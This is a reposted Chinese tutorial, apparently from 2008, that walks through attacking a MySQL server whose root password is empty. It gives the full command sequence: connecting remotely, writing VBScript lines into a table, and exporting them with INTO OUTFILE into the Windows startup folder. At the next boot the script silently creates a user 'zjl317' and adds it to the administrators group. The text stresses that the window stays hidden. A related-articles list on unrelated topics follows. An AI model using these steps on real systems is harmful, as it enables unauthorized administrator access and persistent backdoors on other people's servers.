注意MySQL数据库用户root密码为空

文章作者:网友投稿 发布时间:2008-08-14 19:11:51 来源:网络

看到这大家肯定知道了,就是利用mysql输出一个可执行的文件而已。为什么不用bat呢,因为启动运行时会有明显的dos窗口出来,而用vbs脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!

这篇文章着重介绍了MySQL数据库用户root密码为空的另类攻击方法,更多内容请参考下文:

1、连接到对方mysql 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了mysql的的bin目录中

2、让我们来看看服务器中有些什么数据库

mysql>show databases;

mysql默认安装时会有mysql、test这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test;

我们将会进入test数据库中

4、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。

以下为关键的部分

5、在test数据库下创建一个新的表;

mysql>create table a (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

6、在表中插入内容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " );

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " );

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个vbs的脚本程序!

7、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

8、输出表为一个vbs的脚本文件

mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";

我们把我们表中的内容输入到启动组中,是一个vbs的脚本文件!注意“\"符号。

9、看到这大家肯定知道了,就是利用mysql输出一个可执行的文件而已。为什么不用bat呢,因为启动运行时会有明显的dos窗口出来,而用vbs脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!

mysql数据库密码为空_注意MySQL数据库用户root密码为空相关推荐

  1. mysql数据库密码为空_注意MySQL 数据库用户root密码为空_MySQL

    这篇文章着重介绍了MySQL数据库用户root密码为空的另类攻击方法,更多内容请参考下文: 1.连接到对方mysql 服务器 mysql -u root -h 192.168.0.1 mysql.ex ...

  2. mysql修改root密码 工具下载_学习mysql root密码修改的方法及工具使用

    本文介绍 学习mysql root密码修改的方法及工具使用,包括使用phpmyadmin.mysql服务配置工具.mysqladmin等. 供大家学习参考. 一,phpmyadmin 使用phpmya ...

  3. mysql弱口令是什么意思_MYSQL用户root密码为弱口令又一攻击方法

    转自论坛作者未知. 请与我们联系. 前天,我发了一张关于MYSQL用户ROOT密码为空的贴,在网上我也找到一些利用此漏洞的方法,一般就是写一个ASP或PHP的后门,不仅很麻烦,而且还要猜解网站的目录, ...

  4. mysql 5.7.13安装_安装MySQL 5.7.13

    一.简介: MySQL 5.7主要特性: 1.原生支持Systemd 2.更好的性能:对于多核CPU.固态硬盘.锁有着更好的优化 3.更好的lnnoDB存储引擎 4.更为健壮的复制功能:复制带来了数据 ...

  5. linux忘记mysql登录用户密码_linux中忘记mysql用户root密码解决方案

    1.vim /etc/my.cnf [mysqld] skip-grant-tables ##追加此行,跳过权限表, 2.重启mysql systemctl restart mysqld 3.mysq ...

  6. linux中忘记mysql用户root密码解决方案

    linux中忘记mysql用户root密码解决方案 参考文章: (1)linux中忘记mysql用户root密码解决方案 (2)https://www.cnblogs.com/songbao/p/11 ...

  7. oracle scott密码忘记,oracle忘记sys/system/scott用户的密码怎么办

    一.忘记除SYS.SYSTEM用户之外的用户的登录密码. 用SYS (或SYSTEM)用户登录: CONN SYS/PASS_WORD AS SYSDBA; 使用如下语句修改用户的密码: ALTER ...

  8. Ubuntu忘记超级用户root密码,重新设置密码

    Ubuntu忘记超级用户root密码,重新设置密码 Ubuntu版本:Ubuntu 16.04.3 LTS 1启动系统,在启动过程中,反复按Esc键或者shift键(本人亲测反复按或者长按都可以,没必 ...

  9. 在linux系统下忘记了root密码,在linux系统下,忘记了root密码,可以到()模式下修改找回root密码()...

    在linux系统下,忘记了root密码,可以到()模式下修改找回root密码() 更多相关问题 某分部工程双代号网络图如下图所示,其作图错误表现为().A.有多个起点节点B.有多个终点节 鉴于资源有限 ...

最新文章

  1. c++ stdlib中rand()函数的值范围
  2. AndroidStudio更换黑色主题方法
  3. 编程方法学26:介绍Java标准库
  4. 导出真实表格显示列数不能超过256_平均月薪真有6万5?说说我所知道的金融人真实薪酬...
  5. VC++中实现INI文件读写的方法和示例
  6. 鸟哥基础-读书笔记一
  7. SpringBoot配置ELK环境
  8. VMware中linux硬盘空间不足的解决方法
  9. 微信小游戏凭什么拿走开发者 70% 的日流水?
  10. 51nod 博弈论水题
  11. iostat 输出CPU、磁盘IO的使用情况统计信息
  12. 一键清理C盘垃圾文件,让你的电脑运行飞起
  13. isupper_Python字符串| isupper()和islower()方法以及示例
  14. 360校招笔试题总结4
  15. 自建CA 颁发证书
  16. Vue 前端根据坐标点按顺序生成连线
  17. oracle agile培训资料,敏捷基础知识培训.pdf
  18. 文档排版软件CTex,Winedt10使用(一)---安装
  19. 微信公众系列之百度天气预报开发
  20. php请求纯文本,php – 使用纯文本回退发送HTML简报

热门文章

  1. C# 在自定义的控制台输出重定向类中整合调用方信息
  2. 在生产环境下处理EFCore数据库迁移的五种方法
  3. 在.NET Core中用最原生的方式读取Nacos的配置
  4. .net core 实现基于 cron 表达式的任务调度
  5. .NET Core 的Generic Host 之Generic Host Builder
  6. Windows 10《描图》应用现已开源
  7. 使用Microsoft.AspNetCore.TestHost进行完整的功能测试
  8. 来吧学学.Net Core之登录认证与跨域资源使用
  9. .NET开源MSSQL、Redis监控产品Opserver之Redis配置
  10. .Net Core 图片文件上传下载